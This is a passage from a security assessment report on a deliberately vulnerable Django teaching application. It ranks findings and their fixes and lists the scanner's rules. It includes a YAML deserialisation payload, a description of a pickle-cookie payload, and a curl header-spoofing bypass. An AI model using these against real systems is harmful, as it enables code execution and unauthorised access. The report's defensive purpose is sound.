None of those fixes applies to this code, because line 560 does not rely on a default and does not use `FullLoader`. It passes `yaml.Loader` explicitly, which is documented as unsafe and remains unsafe in every released version of PyYAML, including the current one. Upgrading the package makes the three advisories disappear from a dependency report and leaves the vulnerability exactly where it was. This is the single most consequential distinction in this report after the four unauthenticated findings, and no dependency scanner will surface it, because the defect is in how the application calls the library, not in the library's version.

Attacker impact. An authenticated user uploads a file containing:

```
!!python/object/apply:os.system ["id"]
```

`yaml.load` executes `os.system("id")` while parsing. Substituting a reverse shell, or a command that reads `settings.py`, gives the same outcome as F-02. The endpoint is `@csrf_exempt`, so the request needs no CSRF token — an attacker who can get an authenticated user's browser to submit a cross-site form triggers it without that user's involvement.

Remediation. Use the safe loader, which supports only standard YAML types and cannot construct Python objects:

```
data = yaml.safe_load(file)
```

This is the fix, and it resolves the code-execution risk on its own. Do it first.

Then also upgrade PyYAML to close the three advisories — **to 6.0.2**, not to the 5.2b1 that a naive "smallest version above the current one" calculation produces. 5.2b1 is a pre-release; shipping a beta of a parsing library to production in order to fix a security issue trades one problem for another. Section 6.6 covers this. Be aware that 6.x removed the implicit default loader, so any remaining bare `yaml.load(x)` call elsewhere will raise after the upgrade — which is the library forcing the correct decision, and should be treated as a to-do rather than a regression.

References

- PyYAML documentation, *Loading YAML* — <https://pyyaml.org/wiki/PyYAMLDocumentation>
- CWE-502: Deserialization of Untrusted Data — <https://cwe.mitre.org/data/definitions/502.html>

F-08 — Remote code execution via `pickle` on an attacker-controlled cookie

Severity: HIGH. Requires an authenticated session. The input is a cookie, which is entirely under the client's control and trivial to modify — no upload, no unusual content type, nothing a web application firewall would normally inspect.

Location: introduction/views.py:214

Route: GET /insec_des_lab

```
211 token = request.COOKIE.get('token')
213 token = base64.b64decode(token)
214 admin = pickle.loads(token)
```

`pickle.loads` reconstructs a Python object from a byte stream, and the stream format includes an opcode that calls arbitrary callables. Unpickling data from an untrusted source is equivalent to executing it. The `base64` decode at line 213 is an encoding step, not a security control — the attacker `base64`-encodes their payload exactly as the legitimate client does.

Attacker impact. The attacker defines a class whose `__reduce__` returns `(os.system, ("id",))`, pickles it, `base64`-encodes the result, sets it as their `token` cookie, and requests the page. The command runs when line 214 executes. Impact matches F-02. Because cookies are sent automatically on every request to the route, the payload persists across the attacker's session without further action.

Remediation. Do not unpickle request data. There is no safe way to do it, and no validation of a pickle stream that is reliable. If the cookie carries structured state the server needs to trust, sign it:

```
from django.core import signing
token = signing.loads(request.COOKIE["token"]) # raises BadSignature if tampered
```

`django.core.signing` serialises as JSON and verifies an HMAC before parsing, so a modified cookie is rejected rather than executed. It signs with `SECRET_KEY`, so this depends on F-05 being fixed first — with a publicly known key an attacker can produce valid signatures, and the protection is decorative. If the cookie only needs to hold a flag or an identifier, store an opaque session key and keep the state server-side.

References

- Python documentation, `pickle` — security warning — <https://docs.python.org/3/library/pickle.html>
- CWE-502: Deserialization of Untrusted Data — <https://cwe.mitre.org/data/definitions/502.html>

F-09 — Reachable code-execution flaw in Pillow: the application calls the affected function

Severity: HIGH. This is a known library vulnerability that most projects can safely defer, because most projects never call the affected function. This one does, on the exact code path the advisory describes, with data taken straight from a request parameter. That is the difference between a dependency advisory and an exploitable defect, and it is why this single advisory is reported separately from the other eighteen against the same library.

Location: pillow==9.4.0 (requirements.txt:19), reached at introduction/views.py:588 **Advisory:** CVE-2023-50447 / GHSA-3f63-hfp8-52jq — "Arbitrary Code Execution in Pillow"

```
582 function_str = request.POST.get("function")
584 img = Image.open(file)
588 output = ImageMath.eval(function_str, img=img, b=b, r=r, g=g)
```

`ImageMath.eval` evaluates an expression string. In Pillow 9.4.0 that evaluation can be induced to execute arbitrary Python through the expression's environment, which is what CVE-2023-50447 describes. Line 582 takes the expression from a request parameter and line 588 passes it in unmodified, so the precondition the advisory requires is met unconditionally on this route.

The dependency scan reported 19 advisories for `pillow==9.4.0`. Eighteen concern image parsing paths — decoder buffer handling, specific file formats — and are reachable only with a crafted image file, if at all. This one is reachable with a text field. Nothing in the automated output marked it out: they arrive as a flat list of 19 records against the same package, ordered by published score. Identifying it required reading the code to discover that the application calls `ImageMath.eval` at all.

Attacker impact. An authenticated user submits a crafted `function` value and achieves code execution in the application process — the same end state as F-02, F-07 and F-08. The route requires an authenticated session and a file upload alongside the expression.

Remediation. Two changes, both needed:

1. Upgrade Pillow to **10.2.0 or later** (`pillow==10.2.0`). This closes CVE-2023-50447 along with the other 18 advisories against 9.4.0. Note that Pillow 10 removed several long-deprecated constants (`Image.ANTIALIAS` and similar); grep for them before upgrading. 2. Stop passing user input to `ImageMath.eval`. Version 10.2.0 restricts what the evaluator accepts, but handing an attacker-controlled expression to an expression evaluator remains an unsafe pattern, and further advisories in this area should be expected. If the feature must exist, accept a fixed set of named operations and build the expression server-side from that selection.

This sink is not in the automated output, by design. The check set's `eval` rule deliberately does not match attribute-style calls such as `ImageMath.eval()` or `pandas.eval()`, because matching them produces a high volume of false positives on unrelated `.eval()` methods. That trade-off is defensible in general, and it is exactly why a dependency finding and a code finding had to be read together here by hand. It is recorded in Appendix A.

References

- GHSA-3f63-hfp8-52jq — <https://github.com/advisories/GHSA-3f63-hfp8-52jq>
- Pillow 10.2.0 release notes — <https://pillow.readthedocs.io/en/stable/releases/10.2.0.html>

F-10 — Eleven outdated dependencies and two unused ones

Severity: HIGH in aggregate. No single entry here is independently more serious than F-01 to F-09, and this finding is deliberately ranked last: the code defects above are confirmed reachable, while most of these advisories require a code path the application may not have. It is rated HIGH and detailed because of volume and cost — it is the largest single reduction in exposure available, and it is about a day of scheduled work rather than a redesign.

Location: `requirements.txt` — the deployed dependency set

Batch 0 — delete two packages (10 advisories, zero risk)

Do this first. It is the cheapest remediation in the report.

Package	Line	Advisories
Werkzeug==2.1.2	32	9, including GHSA-2g68-c3qc-8985 (code execution via the debugger)
zipp==3.8.0	34	1

Werkzeug is Flask's WSGI library. This application is Django, and Django does not depend on Werkzeug. `zipp` is a backport of `zipfile.Path`. Neither is imported anywhere in the codebase — `grep -rn "werkzeug\|zipp" --include=*.py` over `introduction/`, `pygoat/` and `challenge/` returns nothing. Both appear to be leftovers from an earlier state of the project or from a flattened `pip freeze`.

On a CVSS reading these 10 advisories would rank well above the bottom of this report. They rank here because nothing loads the code, so none of them is reachable. They are reported rather than dropped because deleting two lines closes all 10 and removes recurring noise from every future scan — and because an unused vulnerable package is latent rather than absent: the day some future code imports it, the advisories go live with nobody re-evaluating them.

Before deleting, confirm nothing pulls them in transitively with `pip show werkzeug zipp` and check the `Required-by` field. If it is empty for both, removal is safe. If something does require them, move them into Batch 1 instead — Werkzeug 2.1.2 → 3.0.3, zipp 3.8.0 → 3.19.1.

Batches 1 to 3 — upgrade eleven packages (117 advisories)

Package	Pinned	Recommended	Advisories	Batch
django	4.2	4.2.26	50	1
sqlparse	0.3.1	0.5.0	8	1
pyjwt	2.4.0	2.12.0	5	1
requests	2.28.2	2.31.0	4	1
certifi	2022.12.7	2024.7.4	2	1
idna	3.4	3.7	2	1
pillow	9.4.0	10.2.0	19	2
cryptography	39.0.1	42.0.0	13	2
pyyaml	5.1	6.0.2	3	2
urllib3	1.26.9	2.6.0	8	3
django-allauth	0.52.0	65.14.1	3	3

Every dependency in this file is pinned exactly, which is good practice and is what made this analysis possible — but the pins have not moved in some time, and several are behind by years.

Attacker impact. This varies per advisory and is not uniform. The `django` group includes denial-of-service issues in specific field and form-handling paths, SQL injection in particular ORM constructs, and directory traversal in file handling. The `urllib3` and `requests` advisories concern proxy handling and header leakage on redirect. In most cases exploitation requires the application to use the specific affected API with attacker-supplied input, which this assessment did not verify case by case — that is why the group is presented as an upgrade task rather than as 117 individual findings. Where an advisory is confirmed reachable, it has been pulled out and reported on its own: F-07 and F-09.

Remediation. Handle as one piece of work, in three batches by risk:

1. **Safe now.** Patch and minor releases within the same major version. These close 71 advisories and should not require code changes. Run the test suite and ship. 2. **Needs a code check.** Major-version bumps with removed APIs — see F-09 for Pillow and F-07 for PyYAML. Grep for direct use of each library, upgrade in a branch, run the test suite. 3. **Needs planning.** `urllib3` 1.26.9 → 2.6.0 changes TLS defaults and removes deprecated APIs; if anything constructs `PoolManager` or `Retry` objects directly, those call sites need review. `django-allauth` 0.52.0 → 65.14.1 crosses many major versions with migrations, template and settings changes — read its changelog before starting and expect it to take real time. These two total 11 advisories, so there is no reason to rush them.

Then add automated dependency monitoring so the gap does not reopen. The work above is a one-time correction of accumulated drift; staying current is a process change, not a task.

References

- OSV.dev — <https://osv.dev/> — the advisory source for every entry in these tables; individual records are in the raw output, Appendix B
 - OWASP Top 10 Ao6:2021, *Vulnerable and Outdated Components* — https://owasp.org/Top10/Ao6_2021-Vulnerable_and_Outdated_Components/
-

6. Prioritisation rationale

This section explains why the ten findings are ordered as they are, why most of the 190 raw findings are not in section 5, and why five of the ten are not in the raw output at all. The automated pass produced 190 findings with 11 rated CRITICAL. This report details 10 findings and rates 4 CRITICAL. Neither set is a subset of the other, and that is the point.

6.1 Reachability outranks score

The eleven findings the tool rated CRITICAL were all dependency advisories with published CVSS scores at or above 9.0. **None of this report's four CRITICALs is among them.** F-02 and F-03 were rated HIGH by the automated pass, because the rules that found them detect a dangerous function call and have no way to determine who can reach it. F-01 and F-04 were not detected at all.

A published CVSS score describes a vulnerability in the abstract. It cannot know whether your application calls the affected function, whether the route is authenticated, or whether it is exposed to the internet. Applied without that context, it ranks a theoretical issue in a library you barely use above an unauthenticated remote code execution in your own code.

F-01 through F-04 are CRITICAL here because an attacker with no account, no credentials and no prior access reaches them with one or two requests to documented URLs. The precondition set is empty. By contrast, the most severe Django advisory in the set requires the application to call a specific ORM construct with attacker-controlled input — which may or may not happen anywhere in this codebase, and which this assessment did not confirm. One of those is a present emergency and the other is a reason to upgrade on schedule. A score cannot tell them apart; reading the code can.

6.2 Three CRITICALs downgraded on configuration

Several Django advisories rated CRITICAL apply only to specific database backends. `GHSA-m9g8-fxxm-xg86`, for instance, describes SQL injection through `HasKey` lookups on **Oracle**.

This application's database configuration is at `pygoat/settings.py:92`:

```
'ENGINE': 'django.db.backends.sqlite3'
```

It does not use Oracle. The vulnerability is not reachable in this deployment, and these advisories were downranked accordingly. No remediation is lost — they are fixed by the same `django 4.2.26` upgrade recommended in F-10 — but they do not belong in an executive summary, and presenting them as critical risks alongside F-01 would misdirect attention.

This is the routine form of the work: not deleting findings, but establishing which of the conditions an advisory requires are actually true here.

6.3 Seven false positives removed

Seven raw findings were confirmed not to be defects and were removed rather than downgraded. They fall into three groups, and the pattern is worth naming.

Matches on code that cannot execute (3). `introduction/views.py:429` matched a `shell=True` rule — on a line commented out with `#`; the live call is at line 430 and is reported in F-03. `introduction/lab_code/test.py:8` matched the same rule inside a `'''...'''` block spanning lines 1–17, so the text is a string literal, not code. `introduction/static/js/a7.js:4` matched a hardcoded JWT rule on a commented-out line; the token's `exp` claim is 1653313021 — 23 May 2022 — so it is expired regardless.

Matches on test fixture data (3). `introduction/views.py:866`, `:870` and `:872` matched the hardcoded-credential rule on `sql_lab_table(id=..., password="<32 hex characters>")`. These are MD5 digests in rows the application creates to populate a demonstration table. They are not credentials to any system.

A match on a construct that is not a credential (1). `gh-md-toc:61` matched on `TOKEN="$(cat $TOKEN_FILE)"` — a shell command substitution that reads a token from a file at runtime. The rule saw `TOKEN=` followed by a quoted high-entropy-looking string. There is no secret in the file, and the file is a vendored third-party documentation script that the application does not invoke.

Two of these deserve emphasis, because they are the same underlying limitation: the static rules match line by line and do not track whether a line sits inside a comment or a multi-line string. That is a known property of the approach, not a pattern to be tuned, and it is why a report like this requires someone to open each flagged file. Left untriaged, `views.py:429` and `views.py:430` would appear in a client's report as two separate `shell=True` findings, one of which is in a comment — and a client who checks one finding, finds it false, will reasonably distrust the other nine.

One incidental note from that third group. `gh-md-toc:59-61` reads a GitHub personal access token from a `token.txt` beside the script, `token.txt` is not in `.gitignore`, and `Dockerfile:24` is `COPY . /app/`. No token exists in this repository, so there is nothing to report — but if a developer ever creates that file, it will be committed and baked into the production image. That is a hygiene observation, not a finding.

6.4 Forty-seven findings excluded as out of scope

Three of the four dependency manifests are under `dockerized_labs/: sensitive_data_exposure/`, `broken_auth_lab/` and `insec_des_lab/`. Each has its own `Dockerfile` and is a standalone teaching container, built and run separately from the main application.

Those three manifests account for 44 findings — including 2 CRITICALs against `django==3.2.18`. They are excluded from ranking because upgrading them changes nothing about the deployed application's risk. `Dockerfile:19-20` installs only the root manifest, so none of these packages is present in the shipped image at all; the `insec_des_lab` Flask code cannot even execute by accident, because the root `requirements.txt` contains no Flask and `import flask` would raise. Three SAST findings in the same directories are excluded on the same grounds.

They are listed in Appendix C.2 so the exclusion is visible and reversible: if these containers are deployed anywhere reachable, tell me and they move into scope, where the 2 CRITICALs would rank alongside F-10.

6.5 Nineteen advisories became one finding, and two sinks became one

The dependency scan returned 19 separate advisories against `pillow==9.4.0`, each with its own identifier, its own score and its own reference list — one of them with 73 reference URLs.

Nineteen advisories are not nineteen findings. There is one action: upgrade Pillow. Reporting them individually would inflate the count by eighteen, bury the one that matters, and give the reader nothing actionable that the single line `pillow==10.2.0` does not already give them.

But they are not simply collapsed either. One of the nineteen — CVE-2023-50447 — is confirmed reachable, because the application calls `ImageMath.eval` with a request parameter at `views.py:588`. That one is promoted to its own finding (F-09) because its remediation is genuinely different: upgrading is necessary but not sufficient, and the code pattern must change too. The other eighteen fold into the upgrade row in F-10. The same reasoning applies to the 50 Django advisories and the 13 `cryptography` advisories.

The merge runs in the other direction too. The two `eval()` sinks (`mitre.py:218`, `views.py:460`) are one finding, and the two `shell=True` command injections (`mitre.py:241`, `views.py:432`) are one finding, because in each case the remediation is the same change applied twice. Reporting them separately would have produced twelve findings where ten will do, and would have split the unauthenticated instance from the authenticated one — hiding the fact that the same defect class appears on both sides of the authentication boundary. Each finding leads with its unauthenticated location, which is what sets its severity.

6.6 One automated recommendation corrected

The tool recommended upgrading `pyyaml` from 5.1 to **5.2b1**. That is mechanically correct and wrong in practice.

The logic selects the lowest published version that resolves the advisory and is greater than the installed one. Under Python's version ordering, `5.2b1` — a beta — is greater than `5.1` and does contain the fix, so it is selected. But recommending a pre-release of a parsing library to a production deployment trades a known issue for an unknown one, and no client should ship it.

This report recommends **6.0.2**. This is the kind of correction that only happens when a person reads the output before it is sent, and it is recorded here because it is also a defect in the tool: version selection should skip pre-releases unless the installed version is itself a pre-release. It has been logged for a future release.

6.7 What the tool did not find at all

Five of the ten findings in section 5 are absent from the automated output entirely, and they include the highest-severity finding in the report:

- **F-01** — unauthenticated write to the application's own program files. There

is no rule for file writes to attacker-controlled content, and none for writes whose destination is inside the source tree. This is the most serious finding in the assessment and no automated check in the set would ever have raised it.

- **F-04** — unauthenticated XXE. There is no rule for XML parser configuration.
- **F-05** — hardcoded `SECRET_KEY` and `DEBUG = True`. The credential rule's

keyword list does not cover the compound `SECRET_KEY`, and there is no rule for framework debug settings.

- **F-06** — SQL injection through string-concatenated `.objects.raw()`. There is

no raw-SQL rule in the check set.

- **F-09's code path** — the `ImageMath.eval` sink, excluded by a deliberate design

decision in the `eval` rule (see F-09).

And for F-02 and F-03, the tool found the dangerous call but not the finding. The finding in both cases is that the call is reachable by an anonymous attacker, and establishing that meant reading the URL configuration, the view decorators, the commented-out decorator lines, and the middleware stack. A pattern match cannot do it.

This is why the assessment is priced as analysis rather than as a scan, and it is why Appendix A lists what the check set does *not* cover as prominently as what it does. A report that presents tool output as complete coverage is making a claim it cannot support. If the check set's limits are not written down, the next assessment repeats them.

6.8 Four further issues found but not detailed

Manual review surfaced four additional issues that are real and rank below the ten above. They are recorded in Appendix C.3 rather than detailed, in keeping with a fixed limit of ten detailed findings — if an eleventh issue outranked something in section 5, the right response would be to re-rank, not to extend the report. None of these does.

In short: an unauthenticated one-time-password flow using a three-digit code with no rate limit, which for most addresses is also printed into the response body; two endpoints that make authorisation decisions from client-controlled HTTP headers (`X-Forwarded-For` and `User-Agent`); and an unauthenticated route that serves a log file. The first two would be findings in their own right on an application without four unauthenticated code-execution paths ahead of them.

6.9 Resulting order of work

Priority	Findings	Rationale
Today	Containment on F-01, F-02, F-03	Four lines: restore two commented-out decorators, add two missing ones. Takes three CRITICALs out of anonymous reach without touching logic.
This week	F-01, F-02, F-03, F-04 properly; F-05	Unauthenticated server compromise. F-04 is a one-line parser change. F-05 needs key rotation, which logs users out — schedule the disruption.
This sprint	F-06, F-07, F-08, F-09	Code execution and data access behind a login that anyone can obtain. Each is a bounded code change.
Scheduled	F-10	Largest volume reduction, lowest risk. Do Batch 0 first — it is two deleted lines.

The containment row is worth taking seriously as a distinct step. The four unauthenticated findings all trace to a missing or disabled per-view authentication decorator, and restoring them is a mechanical change with no behavioural risk. It does not fix anything — an account costs one registration request — but it removes the anonymous-attacker case within the hour, and it buys time to fix the underlying sinks properly rather than under pressure.

A structural recommendation alongside the individual fixes: this application's authentication depends on a decorator being remembered on every view, and this assessment found four views where it was forgotten or disabled. That is a design that fails quietly. Enforce authentication centrally — middleware that requires a session by default with an explicit allowlist of public routes — so that the failure mode of forgetting becomes a locked door rather than an open one.

Appendix A — Check-set inventory

Every check that ran, and what is not covered. This appendix exists so that "nothing was found" can be read accurately. A clean result means these checks found nothing; it does not mean nothing is there.

A.1 Scanners

`secscan` 1.0.0 registers four scanners. Two ran.

Scanner	Ran	What it does
<code>sca</code>	Yes	Resolves declared dependencies to exact versions, queries OSV.dev.
<code>sast</code>	Yes	Pattern-matches source for dangerous sinks and hardcoded secrets.
<code>dast</code>	No	Passive HTTP checks against a running instance. No instance available — see section 3.2.
<code>dast-active</code>	No	Active injection probes. Requires a running instance and explicit written authorisation.

A.2 Static analysis rules (17)

Dangerous sinks (10)

Rule	Detects
<code>sast.sink.python-eval</code>	<code>eval()</code> on a dynamic value
<code>sast.sink.python-exec</code>	<code>exec()</code> on a dynamic value
<code>sast.sink.python-pickle-load</code>	<code>pickle.loads</code> / <code>pickle.load</code> on untrusted data
<code>sast.sink.python-yaml-load</code>	<code>yaml.load</code> without a safe loader
<code>sast.sink.subprocess-shell-true</code>	<code>subprocess</code> call with <code>shell=True</code>
<code>sast.sink.python-os-system</code>	<code>os.system()</code>
<code>sast.sink.python-weak-hash-md5</code>	MD5 used where a secure hash is required
<code>sast.sink.js-eval</code>	<code>eval()</code> in JavaScript
<code>sast.sink.js-inner-html</code>	Assignment to <code>innerHTML</code> (possible DOM XSS)
<code>sast.sink.django-mark-safe</code>	<code>mark_safe()</code> on a dynamic value, which switches off Django's output escaping

Hardcoded secrets (7)

Rule	Detects
<code>sast.secret.aws-access-key</code>	AWS access key identifiers
<code>sast.secret.github-token</code>	GitHub personal access and app tokens
<code>sast.secret.slack-token</code>	Slack bot and user tokens
<code>sast.secret.jwt</code>	JSON Web Tokens embedded in source
<code>sast.secret.private-key</code>	PEM private key blocks
<code>sast.secret.generic-api-key</code>	High-entropy assignment to a credential-like name
<code>sast.secret.google-api-key</code>	Google API keys

Matched secret values are redacted at the point a finding is constructed, so no credential material reaches the raw output. Where this report quotes source code directly, high-entropy values are shown as a short prefix only; the file and line are given so the client can verify the full value in their own repository.

A.3 Dependency analysis

Manifests parsed: `requirements.txt` (and `requirements*.txt`), `pyproject.toml`, `package.json`, `package-lock.json`. Ecosystems: **PyPI and npm only**.

Coverage reporting: manifests in other ecosystems (Composer, Go, Bundler, Maven, Gradle, Cargo, NuGet) and unparsed Python formats (`poetry.lock`, `Pipfile.lock`) are reported as explicit coverage gaps rather than skipped silently. Dependencies declared as ranges rather than exact pins are likewise reported as unchecked. In this target none of these applied — all 4 manifests were parseable and all 44 dependencies were exactly pinned.

Advisory source: OSV.dev, queried at assessment time. Records sharing an alias (GHSA / PYSEC / CVE describing the same issue) are collapsed to one finding.

A.4 Dynamic checks — configured but not run

Listed for completeness, because their absence is part of this assessment's scope. Approximately 18 passive checks: TLS certificate validity and expiry, self-signed and weak-protocol detection; the response headers Content-Security-Policy, HSTS, Referrer-Policy, X-Content-Type-Options and X-Frame-Options; cookie `HttpOnly`, `Secure` and `SameSite` flags; exposed `.env` files and `.git` directories; and server, ASP.NET and `X-Powered-By` version disclosure. Three active probes: reflected XSS, SQL injection via error response, and open redirect. The active probes run only behind an explicit authorisation flag and are never run without written permission.

None of this ran. Every item above is unexamined in this report.

A.5 Not in the check set

Classes of defect this assessment does not detect automatically. The first six were found in this target by manual review; the rest were not looked for systematically and should be assumed uncovered.

Not covered	Consequence here
File writes with attacker-controlled content or destination	F-01 , the report's most severe finding, found by manual review
XML parser configuration (external entity resolution)	F-04 found by manual review
Framework security settings (<code>SECRET_KEY</code> , <code>DEBUG</code> , <code>ALLOWED_HOSTS</code>)	F-05 found by manual review
SQL built by string concatenation (<code>.objects.raw()</code> , <code>cursor.execute</code>)	F-06 found by manual review
<code>eval</code> reached through attribute access (<code>ImageMath.eval</code> , <code>pandas.eval</code>)	F-09 code path found by manual review; excluded by rule design
Whether a flagged call is reachable, or authenticated	Severity of F-02 and F-03 established by manual review
Comment and multi-line-string awareness in rule matching	3 false positives removed by manual review (section 6.3)
Authorisation decisions from client-controlled headers	2 instances found by manual review (Appendix C.3)
Authentication and one-time-password logic	1 instance found by manual review (Appendix C.3)
Server-side request forgery (SSRF)	Not assessed as a class
Path traversal in file handling	Not assessed
Broken access control, IDOR, privilege escalation	Not assessed systematically — requires a running instance and multiple accounts
Business logic abuse	Not assessed
Race conditions and concurrency defects	Not assessed
Transitive dependencies	Not enumerated
Infrastructure, container and host configuration	Out of scope, with one exception noted in F-05 (<code>.dockerignore</code>)

Appendix B — Raw tool output

The complete unmodified output of the assessment run is available on request in three forms: terminal text, structured JSON (one record per finding, with full advisory metadata and reference lists), and HTML.

Summary of the raw run:

Command	<code>secscan --code <repo> --format json</code>
Scanners run	<code>sca, sast</code>
Raw findings	190
By severity	11 critical, 109 high, 52 medium, 18 low, 0 info
By scanner	171 dependency, 19 static analysis
Coverage gaps reported	0
Errors during scan	0
Wall-clock duration	~22 seconds
Exit code	1 — findings at or above threshold

Three notes on reading the raw output directly. Advisory reference lists are unabridged — one Pillow record carries 73 reference URLs — which is why references in section 5 are capped at two per finding, chosen for usefulness rather than completeness. The counts above are pre-triage: they include the 7 false positives and the 47 out-of-scope findings identified in section 6. And they do not include the five findings in section 5 that the tool never produced.

The zero in the coverage-gaps row is a positive result rather than an absence of information. It means all 4 manifests were in a supported format and every declared dependency was pinned exactly, so nothing was skipped. When something *is* skipped it appears as a finding in its own right — "we could not check this" and "there is nothing here" are reported differently, and never render as the same empty output.

Appendix C — Findings reviewed and not detailed

C.1 Removed — false positives (7)

Location	Rule	Reason removed
introduction/views.py:429	subprocess-shell-true	Line is commented out. Live call at :430 is reported in F-03.
introduction/lab_code/test.py:8	subprocess-shell-true	Inside a <code>'''...'''</code> block spanning lines 1–17. Not code.
introduction/static/js/a7.js:4	secret.jwt	Commented-out line; token <code>exp 1653313021</code> (23 May 2022), expired.
gh-md-toc:61	secret.generic-api-key	<code>TOKEN="\$(cat \$TOKEN_FILE)"</code> — a shell substitution, not a credential. Vended third-party script.
introduction/views.py:866	secret.generic-api-key	MD5 digest in a demonstration fixture row.
introduction/views.py:870	secret.generic-api-key	As above.
introduction/views.py:872	secret.generic-api-key	As above.

C.2 Excluded — training containers, not the deployed application (47)

Location	Findings	Note
dockerized_labs/sensitive_data_exposure/requirements.txt	23	django==3.2.18 (19, incl. 2 CRITICAL), requests==2.28.1 (4)
dockerized_labs/broken_auth_lab/requirements.txt	14	werkzeug==2.3.7 (7), jinja2==3.1.2 (5), click (1), flask (1)
dockerized_labs/insec_des_lab/requirements.txt	7	werkzeug==3.0.1 (6), flask==3.0.0 (1)
dockerized_labs/sensitive_data_exposure/entrypoint.sh:11	1	Real hardcoded credential (<code>api_key='demokey123456789'</code>), seeding a demo user in a throwaway container. The values are synthetic — <code>credit_card</code> is the universal Visa test number. Report the pattern, not the values.
dockerized_labs/insec_des_lab/main.py:36	1	<code>pickle.loads</code> — same class as F-08, container code.
dockerized_labs/broken_auth_lab/app.py:86	1	MD5 password-reset token — container code. See C.3 for the live analogue.

Each of these directories has its own `Dockerfile` and is built and run separately; `Dockerfile:19-20` installs only the root manifest. If any is deployed somewhere reachable, it moves into scope — the 2 CRITICALs in the first row would then rank with F-10.

C.3 True findings, not detailed (7)

Ranked below the ten in section 5. The first three were found by manual review and are not in the automated output.

Location	Issue	Disposition
introduction/views.py:493-518 — /otp	Unauthenticated one-time-password bypass, two ways. <code>@csrf_exempt</code> , no auth check. The code is a three-digit number for every address (line 496, <code>randint(100,999)</code>) — 900 possible values, with no rate limit and no attempt counter. For a non-administrator address it is also rendered straight into the response body (line 506), so no guessing is needed at all. For <code>admin@pygoat.com</code> it is not shown, but line 514's second clause (<code>otp.objects.filter(id=2,otp=otpR)</code>) matches the administrator row regardless of which email was submitted, so the 900-value space can be exhausted against the administrator account directly.	Real, and the live analogue of the lab finding in C.2. Ranks below section 5 only because four unauthenticated code-execution paths precede it. Fix: cryptographically random code of adequate length, bound to the address it was issued for, never returned in a response, with rate limiting and an attempt cap.
introduction/views.py:942-953 — <code>ssrf_target</code>	Authorisation from a client-controlled header: no auth check, access decided by <code>request.META.get('HTTP_X_FORWARDED_FOR') == '127.0.0.1'</code> . <code>curl -H 'X-Forwarded-For: 127.0.0.1'</code> returns the protected page.	Real. Fix: never authorise on <code>X-Forwarded-For</code> ; it is attacker-supplied unless a trusted proxy overwrites it.
introduction/views.py:797	Authorisation from a User-Agent string: <code>if (user_agent == "pygoat_admin")</code> grants administrative data.	Real. Same class as above. Fix: use the session.
introduction/static/js/a9.js:40	<code>li.innerHTML = data.logs[i]</code> — genuine DOM cross-site scripting sink in main-application static content.	Real. Fix: use <code>textContent</code> .
introduction/static/js/a9.js:18	Hardcoded JWT and CSRF token in live (not commented) client-side JavaScript, in the main application's static directory and referenced by a main-app template.	Correctly flagged. The token <code>exp</code> is 1653313021 (23 May 2022), so the credential is dead — but it is in git history and in the shipped image. Fix: remove and rotate; see F-05.
introduction/lab_code/test.py:23	Genuine unsafe <code>yaml.load</code> .	The file is unreferenced — the only repository reference is <code>docs/dev_guide.md:31</code> — and reads a hardcoded <code>/home/fox/test.yaml</code> . Dead code. Fix: delete the file.
introduction/urls.py:53 → views.py:636	Unauthenticated route serving a log file.	The served file is a canned template, so content impact here is nil. The pattern is worth noting, as is <code>debug.log:22</code> , which shows credentials in a query string being logged.

C.4 Merged into F-10 (127)

The dependency advisories against the root `requirements.txt`: 117 in the upgrade batches and 10 in the two unused packages. One record — CVE-2023-50447 against Pillow — is also reported separately as F-09 because it is confirmed reachable.

C.5 Accounting

Disposition	Count
Removed as false positives (C.1)	7
Excluded as out of scope (C.2)	47
True findings not detailed, from the automated output (C.3)	3
Detailed in section 5 — static analysis findings	6
Detailed in section 5 — dependency findings (F-09, F-10)	127
Total raw findings accounted for	190

Four items in C.3 and five of the ten findings in section 5 do not appear in this table, because they are not in the automated output. They were found by reading source.

Re-testing

A re-scan and a written verification of resolved findings is included in a Full Assessment engagement. Re-testing confirms that a fix closes the finding; it is not a fresh assessment, and it does not cover code changed for other reasons in the interim.

Questions

Any finding in this report can be walked through in detail — what it is, why it is ranked where it is, and what the fix does. If a severity looks wrong for your environment, say so: the ranking in section 6 rests on assumptions about your deployment, and some of those assumptions are mine rather than yours. The assumption most likely to be wrong is the one in section 3.4 about who can register an account.

Aryan Verma — aryanverma102007@gmail.com